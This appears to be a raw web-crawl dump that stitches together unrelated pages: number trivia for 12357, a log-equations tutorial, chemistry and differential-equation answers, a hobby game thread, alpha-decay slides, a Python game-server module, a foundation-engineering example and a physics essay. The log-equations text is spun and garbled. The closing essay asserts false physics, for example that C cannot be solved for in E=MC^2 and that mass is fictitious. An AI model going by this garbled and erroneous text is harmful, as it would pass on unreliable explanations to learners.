≈ 1481 Total number of primes less than or equal to n r2(n) 8 The number of ways n can be represented as the sum of 2 squares\n\nThere are 8,232 positive integers (less than 12,357) that are coprime with 12,357. And there are approximately 1,481 prime numbers less than or equal to 12,357.\n\n## Divisibility of 12357\n\n m n mod m 2 3 4 5 6 7 8 9 1 0 1 2 3 2 5 0\n\nThe number 12,357 is divisible by 3 and 9.\n\n• Arithmetic\n• Deficient\n\n• Polite\n\n## Base conversion (12357)\n\nBase System Value\n2 Binary 11000001000101\n3 Ternary 121221200\n4 Quaternary 3001011\n5 Quinary 343412\n6 Senary 133113\n8 Octal 30105\n10 Decimal 12357\n12 Duodecimal 7199\n20 Vigesimal 1ahh\n36 Base36 9j9\n\n## Basic calculations (n = 12357)\n\n### Multiplication\n\nn×y\n n×2 24714 37071 49428 61785\n\n### Division\n\nn÷y\n n÷2 6178.5 4119 3089.25 2471.4\n\n### Exponentiation\n\nny\n n2 152695449 1886857663293 23315900145311601 288114578095615453557\n\n### Nth Root\n\ny√n\n 2√n 111.162 23.1191 10.5433 6.58237\n\n## 12357 as geometric shapes\n\n### Circle\n\n Diameter 24714 77641.3 4.79707e+08\n\n### Sphere\n\n Volume 7.90365e+12 1.91883e+09 77641.3\n\n### Square\n\nLength = n\n Perimeter 49428 1.52695e+08 17475.4\n\n### Cube\n\nLength = n\n Surface area 9.16173e+08 1.88686e+12 21403\n\n### Equilateral Triangle\n\nLength = n\n Perimeter 37071 6.61191e+07 10701.5\n\n### Triangular Pyramid\n\nLength = n\n Surface area 2.64476e+08 2.22368e+11 10089.4\n\n## Cryptographic Hash Functions\n\nmd5 a3680c6e501817ba33a063289a47bd63 2b32e78d6deb7868d9c89523ea9ecee11151a446 6e9ec3205510fbf78afc3aac235fe04457e7c6b28f10a6d8be44c13294928664 51ccbf077c98d4bbe830fce38899b5c56b5729e0ac5adc004a7b8d462c8ce2e2b432cf7d4fa91c13fbab0f53f7b9da61f3e1bc13625928d881ee12e6e940a53a 425dbe3ca5705aafbb46af4e73c6867b5193b122"
]
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https://lovestoryen.com/how-to-solve-log-equations-with-logs-on-both-sides.php | [
"# How to solve log equations with logs on both sides\n\n11.05.2021 By Feran",
null,
"Solving Logarithmic Equations – Explanation & Examples\n\nOption 1: Let's start by examining the logarithm on the right side of the equation, the log There's no small number written after the word log, so we can assume that it's a common logarithm with base Remember, a logarithm tells you what the exponent is. So log really means \"10 to . Option 1: You could simplify both sides first to get 2x = You can then divide both sides by 2 to get the x all by itself.\n\nWe can use this fact, along with the rules of logarithms, to solve logarithmic equations where the argument is an algebraic expression. Below is a graph of the equation. On the graph the x -coordinate of the point where the two graphs intersect is close to As with exponential equations, we can use the one-to-one property to solve logarithmic equations.\n\nIn other words, when equaions logarithmic equation has the same base on each side, the arguments must be equal. This also applies when the arguments are algebraic expressions. Therefore, when given an equation with logs of the same base on each side, we can use rules of logarithms to rewrite each side as a single logarithm.\n\nThen we use the fact that logarithmic functions boty one-to-one to set the arguments equal to one another and solve for the unknown. To solve this equation, we can use the rules of logarithms to rewrite the left side as a single logarithm and then apply the one-to-one property to how to make a song play throughout a powerpoint for x :.\n\nNote, when solving an equation involving logarithms, always check to see if the answer is correct or if it is an extraneous solution. Improve this page Learn More. Skip to main content. Module Exponential and Logarithmic Equations and Models. Search for:. Logarithmic Equations Learning Outcomes Solve a logarithmic equation algebraically. Solve a logarithmic equation graphically. Use the one-to-one property of logarithms to solve a logarithmic equation.\n\nSolve a radioactive decay problem. Use the one-to-one property to set the solbe equal to each other. Did you have an idea for improving this content? Licenses and Attributions. CC licensed content, Original.\n\nAll Categories\n\nMar 19, · ?? Learn about solving logarithmic equations. Logarithmic equations are equations involving logarithms. To solve a logarithmic equation, we first use our kno. Jan 27, · The equations with logarithms on both sides of the equal to sign take log M = log N, which is the same as M = N. The procedure of solving equations with logarithms on both sides of the equal sign. If the logarithms have are a common base, simplify the problem and then rewrite it Ratings: Mar 04, · The following video examines how to solve a logarithmic equation that has a logarithm on both sides. The process used here is to apply the Property of Equal.\n\nSometimes the terms of an exponential equation cannot be rewritten with a common base. In these cases, we solve by taking the logarithm of each side. One common type of exponential equations are those with base e. This constant occurs again and again in nature, in mathematics, in science, in engineering, and in finance. When we have an equation with a base e on either side, we can use the natural logarithm to solve it. If we want a decimal approximation of the answer, we use a calculator.\n\nSometimes the methods used to solve an equation introduce an extraneous solution , which is a solution that is correct algebraically but does not satisfy the conditions of the original equation. One such situation arises in solving when the logarithm is taken on both sides of the equation. In such cases, remember that the argument of the logarithm must be positive.\n\nIf the number we are evaluating in a logarithm function is negative, there is no output. When we plan to use factoring to solve a problem, we always get zero on one side of the equation, because zero has the unique property that when a product is zero, one or both of the factors must be zero.\n\nKeep in mind that we can only apply the logarithm to a positive number. Always check for extraneous solutions. Skip to main content. Exponential and Logarithmic Equations. Search for:. Use logarithms to solve exponential equations Sometimes the terms of an exponential equation cannot be rewritten with a common base. How To: Given an exponential equation in which a common base cannot be found, solve for the unknown. Apply the logarithm of both sides of the equation.\n\nIf one of the terms in the equation has base 10, use the common logarithm. If none of the terms in the equation has base 10, use the natural logarithm. Use the rules of logarithms to solve for the unknown. Divide both sides of the equation by A. Apply the natural logarithm of both sides of the equation. Divide both sides of the equation by k. Analysis of the Solution When we plan to use factoring to solve a problem, we always get zero on one side of the equation, because zero has the unique property that when a product is zero, one or both of the factors must be zero.\n\nLicenses and Attributions. CC licensed content, Shared previously."
]
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"https://i.ytimg.com/vi/MVbsJ7a4SQI/maxresdefault.jpg",
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https://socratic.org/questions/59225fea7c0149507f4407eb | [
"What is the oxidation number of carbon in cyanide ion?\n\nI would say $- I$......\nThe typical Lewis represention of cyanide anion is as $: N \\equiv C {:}^{-}$. Of course this means that nitrogen has an oxidation number of $0$, because the sum of the oxidation numbers must be equal to the charge on the ion. We conceive that the 6 electrons that comprise the carbon nitrogen bond are shared by the participating atoms. And there are this 5 electrons around nitrogen, i.e. a neutral nitrogen, $Z = 5$, and 5 electrons around carbon, $Z = 4$, an ANIONIC carbon.\nIf we draw the Lewis structure of cyanide anion as \"\"^(-):stackrel(ddot)N=C:, then carbon has an oxidation number of $0$. But I can't think offhand of a complex where cyanide anion binds thru the nitrogen."
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.90634274,"math_prob":0.9955273,"size":790,"snap":"2022-05-2022-21","text_gpt3_token_len":191,"char_repetition_ratio":0.13486005,"word_repetition_ratio":0.015503876,"special_character_ratio":0.23924051,"punctuation_ratio":0.13580246,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9939221,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-01-28T05:45:05Z\",\"WARC-Record-ID\":\"<urn:uuid:8561a63c-1f59-4cb6-b60b-eebaf1a762d6>\",\"Content-Length\":\"34301\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4dcd31e8-b9d4-4f89-8af4-392a5d292b44>\",\"WARC-Concurrent-To\":\"<urn:uuid:e2a15279-2741-4805-b5bf-16dc5b162b6e>\",\"WARC-IP-Address\":\"216.239.38.21\",\"WARC-Target-URI\":\"https://socratic.org/questions/59225fea7c0149507f4407eb\",\"WARC-Payload-Digest\":\"sha1:2IOZBUKU6IL3JDXLZQOMOS7B7BOVDZOS\",\"WARC-Block-Digest\":\"sha1:N34IDMVBN7GZHT7FIEHDAQ7ACBCSIJRG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-05/CC-MAIN-2022-05_segments_1642320305420.54_warc_CC-MAIN-20220128043801-20220128073801-00196.warc.gz\"}"} |
https://socoder.net/?Showcase=22153 | [
"-=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- (c) WidthPadding Industries 1987 0|310|0 -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=-\nSoCoder -> Showcase Home -> Adventure\n\nJayenkai",
null,
"Created : 16 February 2010\nEdited : 04 May 2010\nSystem : Cross Platform\nLanguage : Blitz Max\n\nWindows\nLinux (Compiled under Ubuntu 9.10)\nScreenshots",
null,
"",
null,
"A nice and simple randomly generated game.\n\nGuide Box through the maze, collect the gems, and kill the oncoming enemy with your water.",
null,
"Tuesday, 16 February 2010, 04:09\nHoboBen",
null,
"Very cute! I never managed to complete a level without dying though, despite several attempts!\nTuesday, 16 February 2010, 04:12\nJayenkai",
null,
"I know for a fact that Quest #3's possible.. All the others may/may not be, depending on what you pick up, and when!\n\nThey all should be possible, though!",
null,
"Saturday, 20 February 2010, 10:01\nJayenkai",
null,
"If anyone has any ideas, I'm posting a rather large update of this on Tuesday.\nExtra Badge ideas are extremely welcome!!",
null,
"Saturday, 20 February 2010, 15:55\nSticky",
null,
"I didn't end up playing past the first level so I'm not sure what badges there currently are, aside from the water and dig; but perhaps a \"fire\" badge that acts the same as water except it keeps going and doesn't destroy itself at the first enemy?\n\nYou'd need to do some balancing with the energy used and the damage inflicted on it though.",
null,
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null,
"https://socoder.net/jstuff/complete/Box__s_Adventure_20100216A_thumb.png",
null,
"https://socoder.net/jstuff/complete/Box__s_Adventure_20100216B_thumb.png",
null,
"https://socoder.net/uploads/1/237-DVDCase_thumb.png",
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null,
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null,
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null,
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null,
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null,
"https://socoder.net/s2css/blank.png",
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https://quizlet.com/explanations/questions/find-a-real-general-solution-show-the-details-of-your-work-x2y07xy-01y0-280de96a-5b98-4ac2-a6fd-26b23cb22c0f | [
"Fresh features from the #1 AI-enhanced learning platform.Try it free\nFresh features from the #1 AI-enhanced learning platformCrush your year with the magic of personalized studying.Try it free\nQuestion\n\n# Find a real general solution. Show the details of your work. x²y''+0.7xy'-0.1y=0\n\nSolution\n\nVerified\nStep 1\n1 of 2\n\nLet's substitute:\n\n$y = x^m, \\quad y' = mx^{m-1}, \\quad y'' = m(m-1)x^{m-2}$\n\ninto the given ODE. This gives:\n\n$x^2m(m-1)x^{m-2} + 0.7 x mx^{m-1} -0.1 x^m = 0$\n\n$\\cancel{x^2}m(m-1)x^m \\cdot \\cancel{x^{-2}} + 0.7 \\cancel{x} mx^{m}\\cancel{ x^{-1}} -0.1 x^m = 0$\n\nWe can see that $x^m$ is a common factor, dropping it gives:\n\n$m(m-1) + 0.7m -0.1 = 0 \\iff m^2 - 0.3m - 0.1 = 0 \\quad \\textcolor{Fuchsia}{(*)}$\n\nSo, $y = x^m$ is a solution of the given ODE if $m$ is a root of the equation $\\textcolor{Fuchsia}{(*)}$\n\nLet's find the roots of the equation $\\textcolor{Fuchsia}{(*)}$.\n\n\\begin{align*} m^2 - 0.3m -0.1 = 0 &\\iff m_{1/2} = \\frac{0.3 \\pm \\sqrt{0.3^2 + 4\\cdot 0.1 }}{2} \\\\ &\\iff m_{1/2} = \\frac{0.3 \\pm \\sqrt{0.09 + 0.4}}{2} \\\\ &\\iff m_{1/2} = \\frac{0.3 \\pm 0.7}{2} \\end{align*}\n\nSo, it has the distinct real roots:\n\n$m _1 = 0.5 \\quad \\wedge \\quad m _2 = -0.2$\n\nReal different roots $m_1$ and $m_2$ provide two real solutions:\n\n$y_1 = x^{m_1} = x^{0.5} \\quad \\wedge \\quad y_2 = x^{m_2} = x^{-0.2}$\n\nTheir quotient is not constant, so the solutions $y_1$ and $y_2$ are linearly independent and constitute a basis of solutions for the given ODE, for all x for which $y_1,y_2 \\in \\mathbb{R}$.\n\nSo, the general solution is:\n\n${\\color{#4257b2}{y}}= c_1 y_1 + c_2 y_2 = \\boxed{{\\color{#4257b2}{c_1x^{0.5} + c_2 x^{-0.2} }}}$\n\n## Recommended textbook solutions",
null,
"10th EditionISBN: 9780470458365 (3 more)Erwin Kreyszig\n4,134 solutions",
null,
"9th EditionISBN: 9780471488859 (1 more)Erwin Kreyszig\n4,201 solutions",
null,
"",
null,
""
]
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https://www.easycalculation.com/formulas/cross-price-elasticity-of-demand.html | [
"# Cross Price Elasticity of Demand Formula - Stock Calculators\n\nFormula:\nCross Price Elasticity of Demand = % change in quantity demanded of product of A / % change in price product of B\n% change in quantity demanded = (new demand- old demand) / old demand) x 100\n% change in price = (new price - old price) / old price) x 100"
]
| [
null
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https://www.slideserve.com/avery/alpha-decay | [
"# Alpha Decay - PowerPoint PPT Presentation",
null,
"Download Presentation",
null,
"Alpha Decay\n\nAlpha Decay",
null,
"Download Presentation",
null,
"## Alpha Decay\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - - -\n##### Presentation Transcript\n\n1. Alpha Decay • Readings • Nuclear and Radiochemistry: Chapter 3 • Modern Nuclear Chemistry: Chapter 7 • Energetics of Alpha Decay • Theory of Alpha Decay • Hindrance Factors • Heavy Particle Radioactivity • Proton Radioactivity • Identified at positively charged particle by Rutherford • Helium nucleus (4He2+) based on observed emission bands • Energetics • Alpha decay energies 4-9 MeV • Originally thought to be monoenergetic, fine structure discovered • AZ(A-4)(Z-2) + 4He + Qa\n\n2. Fine Structure for 228Th decay • Different alpha decay energies for same isotope • Relative intensities vary • Coupled with gamma decay\n\n3. Energetics • Over 350 artificially produced alpha emitting nuclei • Alpha energy variations used to develop decay schemes • All nuclei with mass numbers greater than A of 150 are thermodynamically unstable against alpha emission (Qα is positive) • However alpha emission is dominant decay process only for heaviest nuclei, A≥210 • Energy ranges 1.8 MeV (144Nd) to 11.6 MeV (212mPo) • half-life of 144Nd is 5x1029 times longer then 212mPo Alpha decay observed for negative binding energies\n\n4. Energetics • Q values generally increase with A • variation due to shell effects can impact trend increase • Peaks at N=126 shell • For isotopes decay energy generally decreases with increasing mass • 82 neutron closed shell in the rare earth region • increase in Qα • α-decay for nuclei with N=84 as it decays to N=82 daughter • short-lived α-emitters near doubly magic 100Sn • 107Te, 108Te, 111Xe • alpha emitters have been identified by proton dripline above A=100\n\n5. Alpha Decay Energetics • Q value positive for alpha decay • Q value exceeds alpha decay energy • maTa = mdTd • md and Td represent daughter • From semiempirical mass equation • emission of an α-particle lowers Coulomb energy of nucleus • increases stability of heavy nuclei while not affecting the overall binding energy per nucleon • tightly bound α-particle has approximately same binding energy/nucleon as the original nucleus • Emitted particle must have reasonable energy/nucleon • Energetic reason for alpha rather than proton • Energies of alpha particles generally increase with atomic number of parent\n\n6. Energetics • Calculation of Q value from mass excess • 238U234Th + a + Q • Isotope Δ (MeV) 238U 47.3070 234Th 40.612 4He 2.4249 • Qa=47.3070 – (40.612 + 2.4249) = 4.270 MeV • Q energy divided between the α particle and the heavy recoiling daughter • kinetic energy of the alpha particle will be slightly less than Q value • Conservation of momentum in decay, daughter and alpha are equal rd=r • recoil momentum and the -particle momentum are equal in magnitude and opposite in direction • p2=2mT where m= mass and T=kinetic energy • 238Ualpha decay energy\n\n7. Energetics • Kinetic energy of the emitted particle is less than Coulomb barrier α-particle and daughter nucleus • Equation specific of alpha • Particles touching • For 238 U decay • Alpha decay energies are small compared to the required energy for the reverse reaction • Alpha particle carries as much energy as possible from Q value, • For even-even nuclei, alpha decay leads to the ground state of the daughter nucleus • as little angular momentum as possible • ground state spins of even-even parents, daughters and alpha particle are l=0\n\n8. Energetics • Some decays of odd-A heavy nuclei populate low-lying daughter excited states that match spin of parent • Leads to fine structure of alpha decay energy • Orbital angular momentum of α particle can be zero • 83% of alpha decay of 249Cf goes to 9th excited state of 245Cm • lowest lying state with same spin and parity as parent • Long range alpha decay • Decay from excited state of parent nucleus to ground state of daughter • 212mPo • 2.922 MeV above 212Po ground state • Decays to ground state of 208Pb with emission of 11.65 MeV alpha particle • Systematics result from • Coulomb potential • Higher mass accelerates products • larger mass • daughter and alpha particle start further apart • mass parabolas from semiempirical mass equation • cut through the nuclear mass surface at constant A • Explains beta decay in decay chain\n\n9. Mass parabolas: 235U decay series Beta Decay to Energy minimum, then Alpha decay to different A Branched decay observed (red circles)\n\n10. Alpha decay theory • Distance of closest approach for scattering of a 4.2 MeV alpha particle is ~62 fm • Distance at which alpha particle stops moving towards the daughter • Repulsion from Coulomb barrier • An alpha particle should not get near the nucleus • Alpha particle should be trapped behind a potential energy barrier Vc Alpha decay energy\n\n11. Alpha decay theory • Wave functions are only completely confined by potential energy barriers that are infinitely high • With finite size barrier wave function has different behavior • main component inside the barrier • finite piece outside barrier • Tunneling • classically trapped particle has component of wave function outside the potential barrier • Some probability to go through barrier • Closer the energy of the particle to the top of the barrier more likely the particle will penetrate barrier • Increase probability of barrier penetration • Higher alpha decay energy, higher probability to penetrate barrier • Shorter half life with higher alpha decay energy\n\n12. Alpha Decay Theory • Geiger Nuttall law of alpha decay • Log t1/2=A+B/(Qa)0.5 • constants A and B have a Z dependence. • simple relationship describes the data on α-decay • over 20 orders of magnitude in decay constant or half-life • 1 MeV change in -decay energy results in a change of 105 in the half-life\n\n13. Even-Even Nuclei (235U comparison)\n\n14. Expanded Alpha Half Life Calculation • More accurate determination of half life from Hatsukawa, Nakahara and Hoffman • Theoretical description of alpha emission based on calculating the rate in terms of two factors • rate at which an alpha particle appears at the inside wall of the nucleus • probability that the alpha particle tunnels through the barrier • a=P*f • f is frequency factor • P is transmission coefficient Outside of closed shells 78Z82; 100N126 82Z90; 100N126\n\n15. Alpha Decay Theory • Alternate expression includes an additional factor that describes probability of preformation of alpha particle inside parent nucleus • No clear way to calculate such a factor • empirical estimates have been made • theoretical estimates of the emission rates are higher than observed rates • preformation factor can be estimated for each measured case • uncertainties in the theoretical estimates that contribute to the differences • Frequency for an alpha particle to reach edge of a nucleus • estimated as velocity divided by the distance across the nucleus • twice the radius • lower limit for velocity could be obtained from the kinetic energy of emitted alpha particle • However particle is moving inside a potential energy well and its velocity should be larger and correspond to the well depth plus the external energy • On the order of 1021 s-1\n\n16. Alpha Decay Calculations • Alpha particle barrier penetration from Gamow • T=e-2G • Determination of decay constant from potential information • Using the square-well potential, integrating and substituting • Z daughter, z alpha\n\n17. Gamow calculations • From Gamow • Log t1/2=A+B/(Qa)0.5 • Calculated emission rate typically one order of magnitude larger than observed rate • observed half-lives are longer than predicted • Observation suggest probability to find a ‘preformed’ alpha particle on order of 10-1\n\n18. Alpha Decay Theory • Even-even nuclei undergoing l=0 decay • average preformation factor is ~ 10-2 • neglects effects of angular momentum • Assumes α-particle carries off no orbital angular momentum (ℓ = 0) • If α decay takes place to or from excited state some angular momentum may be carried off by the α-particle • Results in change in the decay constant when compared to calculated\n\n19. Hindered -Decay • Previous derivation only holds for even-even nuclei • odd-odd, even-odd, and odd-even nuclei have longer half-lives than predicted due to hindrance factors • Assumes the existence of pre-formed -particles • a ground-state transition from a nucleus containing an odd nucleon in highest filled state can take place only if that nucleon becomes part of the -particle and therefore if another nucleon pair is broken • less favorable situation than formation of an -particle from already existing pairs in an even-even nucleus and may give rise to the observed hindrance. • if -particle is assembled from existing pairs in such a nucleus, the product nucleus will be in an excited state, and this may explain the “favored” transitions to excited states • Hindrance from difference between calculation and measured half-life • Hindrance factors between 1 and 3E4 • Determine by ratio of measured alpha decay half life over calculated alpha decay half life\n\n20. Hindrance Factors • Transition of 241Am (5/2-) to 237Np • states of 237Np (5/2+) ground state and (7/2+) 1st excited state have hindrance factors of about 500 (red circle) • Main transition to 60 keV above ground state is 5/2-, almost unhindered\n\n21. Hindrance Factors • 5 classes of hindrance factors based on hindrance values • Between 1 and 4, the transition is called a “favored” • emitted alpha particle is assembled from two low lying pairs of nucleons in the parent nucleus, leaving the odd nucleon in its initial orbital • Hindrance factor of 4-10 indicates a mixing or favorable overlap between the initial and final nuclear states involved in the transition • Factors of 10-100 indicate that spin projections of the initial and final states are parallel, but the wave function overlap is not favorable • Factors of 100-1000 indicate transitions with a change in parity but with projections of initial and final states being parallel • Hindrance factors of >1000 indicate that the transition involves a parity change and a spin flip\n\n22. Heavy Particle Decay • Possible to calculate Q values for the emission of heavier nuclei • Is energetically possible for a large range of heavy nuclei to emit other light nuclei. • Q-values for carbon ion emission by a large range of nuclei • calculated with the smooth liquid drop mass equation without shell corrections • Decay to doubly magic 208Pb from 220Ra for 12C emission • Actually found 14C from 223Ra • large neutron excess favors the emission of neutron-rich light products • emission probability is much smaller than the alpha decay • simple barrier penetration estimate can be attributed to the very small probability to preform 14C residue inside the heavy nucleus\n\n23. Proton Decay • For proton-rich nuclei, the Q value for proton emission can be positive • Line where Qp is positive, proton drip line • Describes forces holding nuclei together • Similar theory to alpha decay • no preformation factor for the proton • proton energies, even for the heavier nuclei, are low (Ep~1 to 2 MeV) • barriers are large (80 fm) • Long half life\n\n24. Topic Review • Understand and utilize systematics and energetics involved in alpha decay • Calculate Q values for alpha decay • Relate to alpha energy and fine structure • Correlate Q value and half-life • Models for alpha decay constant • Tunneling and potentials • Hindered of alpha decay • Understand proton and other charged particle emission\n\n25. Homework Questions • Calculate the alpha decay Q value and Coulomb barrier potential for the following, compare the values • 212Bi, 210Po, 238Pu, 239Pu, 240Am, 241Am • What is the basis for daughter recoil during alpha decay? • What is the relationship between Qa and the alpha decay energy (Ta) • What are some general trends observed in alpha decay? • Compare the calculated and experimental alpha decay half life for the following isotopes • 238Pu, 239Pu, 241Pu, 245Pu • Determine the hindrance values for the odd A Pu isotopes above • What are the hindrance factor trends? • How would one predict the half-life of an alpha decay from experimental data?\n\n26. Pop Quiz • Calculate the alpha decay energy for 252Cf and 254Cf from the mass excess data below. • Which is expected to have the shorter alpha decay half-life and why? • Calculate the alpha decay half-life for 252Cf and 254Cf from the data below. (use % alpha decay)"
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https://crossfire.real-time.com/code/server/trunk/html/____init_____8py_source.html | [
"Crossfire Server, Trunk\n__init__.py\nGo to the documentation of this file.\n1 import os.path\n2 import sqlite3\n3\n4 import Crossfire\n5\n6 def _init_schema(con, version, *schema_files):\n7 con.execute(\"PRAGMA journal_mode=WAL;\");\n8 con.execute(\"PRAGMA synchronous=NORMAL;\");\n9 con.execute(\"CREATE TABLE IF NOT EXISTS schema(version INT);\");\n10 result = con.execute(\"SELECT version FROM schema\").fetchall();\n11 curr = len(result)\n12 if curr < version:\n14 \"Initializing factions schema %d->%d\" % (curr, version))\n15 for f in schema_files:\n16 with open(f) as initfile:\n18 con.commit()\n19\n22 \"python/CFReputation/sql\", f)\n23\n24 def _init_db():\n25 schema_files = map(_get_sql_path, [\"schema.sql\"])\n26 init_files = map(_get_sql_path, [\"init.sql\", \"gods.sql\"])\n27 db_path = os.path.join(Crossfire.LocalDirectory(), \"factions.db\")\n28 con = sqlite3.connect(db_path)\n29 _init_schema(con, 1, *schema_files)\n30 for f in init_files:\n31 with open(f) as initfile:\n33 return con\n34\n35 def _get_db():\n36 return _init_db()\n37\n38 def reputation(player, faction=None):\n39 \"\"\"\n40 Return tuple with the name and reputation of the player with the given\n41 faction. If faction is None, return all known reputations.\n42 \"\"\"\n43 con = _get_db()\n44 if faction is None:\n45 query=\"\"\"\n46 SELECT faction, CAST(ROUND(reputation*100) as integer) as rep\n47 FROM reputations\n48 WHERE name=? AND ABS(rep) > 0;\n49 \"\"\"\n50 result = con.execute(query, (player,)).fetchall()\n51 else:\n52 query=\"\"\"\n53 SELECT faction, CAST(ROUND(reputation*100) as integer) as rep\n54 FROM reputations\n55 WHERE name=? AND faction=? AND ABS(rep) > 0;\n56 \"\"\"\n57 result = con.execute(query, (player, faction)).fetchall()\n58 con.close()\n59 return result\n60\n61 def record_kill(race, region, player, fraction=0.0001, limit=0.4):\n62 con = _get_db()\n63 query = \"\"\"\n65 SELECT faction, -attitude*? AS change\n66 FROM regions\n67 NATURAL JOIN relations\n68 WHERE race=? AND (region=? OR region='ALL'))\n69 REPLACE INTO reputations\n70 SELECT ? AS player, updates.faction,\n71 COALESCE(reputation, 0) + change AS new_rep\n73 LEFT JOIN reputations\n75 WHERE ABS(new_rep) <= ?;\n76 \"\"\"\n77 con.execute(query, (fraction, race, region, player, limit))\n78 con.commit()\n79 con.close()\nCFReputation._init_db\ndef _init_db()\nDefinition: __init__.py:24\nCFBank.open\ndef open()\nDefinition: CFBank.py:70\nCFReputation._get_sql_path\ndef _get_sql_path(f)\nDefinition: __init__.py:20\nCFReputation.record_kill\ndef record_kill(race, region, player, fraction=0.0001, limit=0.4)\nDefinition: __init__.py:61\ndisinfect.map\nmap\nDefinition: disinfect.py:4\nCFReputation._get_db\ndef _get_db()\nDefinition: __init__.py:35\nCFReputation.reputation\ndef reputation(player, faction=None)\nDefinition: __init__.py:38\nCFReputation._init_schema\ndef _init_schema(con, version, *schema_files)\nDefinition: __init__.py:6"
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https://elpla.com/elpla/typical-application/practical-examples/example-72-rectangular-foundation-subjected-to-eccentric-loading | [
"",
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"",
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"Introduction\n\nThe simplest model for determination of the contact pressure under the foundation assumes a planar distribution of contact pressure on the bottom of the foundation (statically determined). In which the resultant of soil reactions coincides with the resultant of applied loads. If all contact pressures are compression, the foundation system will be considered as linear and the contact pressures in this case is given directly.\n\nIf the foundation subjects to big eccentricity, there will be negative contact pressures on some nodes on the foundation. Since the soil cannot resist negative stress, the foundation system becomes nonlinear and a resolution must be carried out to find the nonlinear contact pressures.\n\nThe nonlinear analysis of foundation for the simple assumption model has been treated by many authors since a long time, where several analytical and graphical methods were available for the solution of this problem. Pohl (1918) presented a table to determine the maximum corner pressure max qo for arbitrary positions of the resultant N. Hülsdünker (1964) developed a diagram using the numerical values of this table from Pohl (1918) to determine the maximum corner pressure max qo. For one corner detached footing, the closed form formulae cannot be used. Therefore, Pohl (1918) and Mohr (1918) proposed a method to estimate the neutral axis through the trial and error. Besides tables and diagrams, Graßhoff (1978) introduced also influence line charts can be used to determine the contact pressure ordinates. Peck/ Hanson/ Thornburn (1974) indicated a trial and error method to obtain the neutral axis position for rectangular footing subjected to moments about both axes. Jarquio/ Jarquio (1983) proposed a direct method of proportioning a rectangular footing area subjected to biaxial bending. Irles/ Irles (1994) presented an analytical solution for rectangular footings with biaxial bending, which will lead to obtain explicit solutions for the corner pressures and neutral axis location.\n\nThe determination of the actual contact area and the maximum corner pressure max qo under eccentric loaded foundation with irregular shape is very important. For T-shape foundation that is loaded eccentrically in the symmetry axis, Kirschbaum (1970) derived formulae to determine the maximum corner pressure max qo. For some foundation areas with polygonal boundaries, Dimitrov (1977) gave formulae to determine the foundation kern and corner pressure max qo. For the same purpose, Miklos (1964) developed diagrams. For general cases of foundation, Opladen (1958) presented graphical procedure.\n\nMost of the analytical methods used to determine the contact area and corner pressures for eccentric loaded foundations are focused on regular foundations where irregular foundations can be analyzed only by graphical procedures. In this paper, an iteration procedure is presented to deal with nonlinear analysis of foundations for simple assumption model. The procedure can be applied for any arbitrary foundation shape and is suitable for computer programs. The following section describes this procedure.\n\nDescription of the problem\n\nFor comparison with complex foundation shape, no analytical solution is yet available. Therefore, for judgment on the nonlinear analysis of foundations for simple assumption model, consider the rectangular foundation shown in Figure (7.5). The foundation has the length L = 8.0 [m] and the width B = 6.0 [m]. The foundation carries an eccentric load of N = 2000 [kN].\n\nBoth of the x-axis and y-axis are main axes, which intersect in the center of gravity of the foundation area s. The position of resultant N is defined by the ordinates x = ex and y = ey.\n\nWithin the rectangle foundation area five zones are represented. It is found that, the contact area and maximum corner pressure max qo depending on the position of the resultant N in these five zones (Irles/ Irles (1994)). In this example, the maximum corner pressure max qo is obtained using the program ELPLA for each zone and compared with other analytical salutations, which are available for rectangular foundation."
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https://www.aetherforce.energy/thought-experiments-on-the-nature-of-space-matter-light-and-time-by-justin-swanhart/ | [
"Nature of Space, Matter, Light, and Time\n\nby Justin Swanhart",
null,
"This thought experiment is based on the variable speed of light, or VSL, and it gives a simple mechanism (particle spin) for that VSL. It also uses spin to explain mass and mass can be computed, no particle like the Higgs is necessary. This mechanism can predict the galaxy rotation curve, explain what happens in black holes, provide a theory for why space appears to be in accelerating expansion.\n\nWhy special relativity flawed:\n\n• Gravity has no distance limit,\n• The reference frame described by the SR for a non-rotating frame can only exist in a single particle universe\n• In a single particle universe there is no gravity (two particles would interact weakly even if they were at opposite sides of the galaxy, so there must be only one particle)\n• matter at rest has rest mass\n• Einstein said that in the reference frame the particle was moving in a straight line\n• If the special relativity reference frame is a one particle in the universe. then the particle should not move. There is no energy to add to it to move it.\n• Einstein used rest mass for an object he described to be in motion, making SR incorrect with respect to Newton’s laws of motion. Only an object at rest has rest mass.\n• You can not solve for C in E=MC^2. If you try, then the square root of C^2 is not C, which is wrong mathematically. Even if C is a constant, one should be able to solve for it in a working equation.\n\nIf the above stipulations are true, then the motion of the object should be spin while at rest, not linear motion. There is no outside force to move the particle in a line. If you added force, it would move and never stop. Mass and gravity are fictitious. Gravity is (centripetal force) that arises from spin of photons, electrons and protons. Mass is a function of spin rate (proof below)\n\nBy changing C to (1/C *distance^2) and using a particle at rest, the inverse square law is incorporated, adding newton to SR (via the inverse square law) without need for GR. Because it uses the inverse square law, (1/C * distance^2) describes the force of gravity over the body. Mass and gravity are functions of spin of particles. This is why the moon is locked to Earth, it is spinning very very very slowly, but still spinning. The particles in the moon are always spinning.\n\nWith this change to SR when add another particle to the SR thought experiment you get elliptical orbits due to gravity, but both particles spin more slowly. The framework around SR continues to work, the only modification to the derivative of SR.\n\nSpecial relativity with gravity via inverse square law:\nE=M(1/C * distance^2)^2\n\nStipulations:\n\n• The frame described by Einstein for SR is really a one particle universe with a particle at rest.\n• A photon is simultaneously a wave and particle\n• All photons have 